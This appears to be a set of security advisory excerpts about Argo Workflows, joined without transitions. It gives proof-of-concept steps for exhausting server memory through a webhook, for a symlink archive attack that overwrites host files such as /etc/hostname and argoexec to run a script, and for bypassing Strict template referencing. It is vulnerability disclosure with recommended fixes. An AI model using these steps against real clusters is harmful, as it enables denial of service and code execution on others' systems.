PoC (Conceptual) 1. Target the webhook endpoint: POST /api/v1/events/some-namespace 2. Send a Content-Length: 1000000000 (1GB) header. 3. Stream 1GB of random data. 4. Monitor server memory usage. It will spike until 1GB is allocated or the process crashes.
Recommendation 1. Limit Body Size: Enforce a strict limit on webhook body size (e.g., 10MB) using http.MaxBytesReader. 2. Streaming Verification: If possible, verify the signature in a streaming fashion or use a temporary file for large payloads (though typically webhooks are small).
Summary The patch deployed against CVE-2025-62156 is ineffective against malicious archives containing symbolic links.
Details The untar code that handles symbolic links in archives is unsafe. Concretely, the computation of the link's target and the subsequent check are flawed: https://github.com/argoproj/argo-workflows/blob/5291e0b01f94ba864f96f795bb500f2cfc5ad799/workflow/executor/executor.go#L1034-L1037
PoC 1. Create a malicious archive containing two files: a symbolik link with path "./work/foo" and target "/etc", and a normal text file with path "./work/foo/hostname". 2. Deploy a workflow like the one in https://github.com/argoproj/argo-workflows/security/advisories/GHSA-p84v-gxvw-73pf with the malicious archive mounted at /work/tmp. 3. Submit the workflow and wait for its execution. 4. Connect to the corresponding pod and observe that the file "/etc/hostname" was altered by the untar operation performed on the malicious archive. The attacker can hence alter arbitrary files in this way.
Impact The attacker can overwrite the file /var/run/argo/argoexec with a script of their choice, which will be executed at the pod's start.
Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes. Prior to versions 3.7.14 and 4.0.5, a user with create Workflow permission can bypass templateReferencing: Strict to get host network access, switch service accounts, override pod security context, add tolerations to schedule on control-plane nodes, or enable SA token mounting. This defeats the stated purpose of the feature. The practical impact depends on what Kubernetes-level controls are in place. Clusters with PodSecurity admission or OPA/Gatekeeper would independently block some of these (like hostNetwork). Clusters that rely on Argo's Strict mode as the primary enforcement layer are fully exposed. This issue has been patched in versions 3.7.14 and 4.0.5.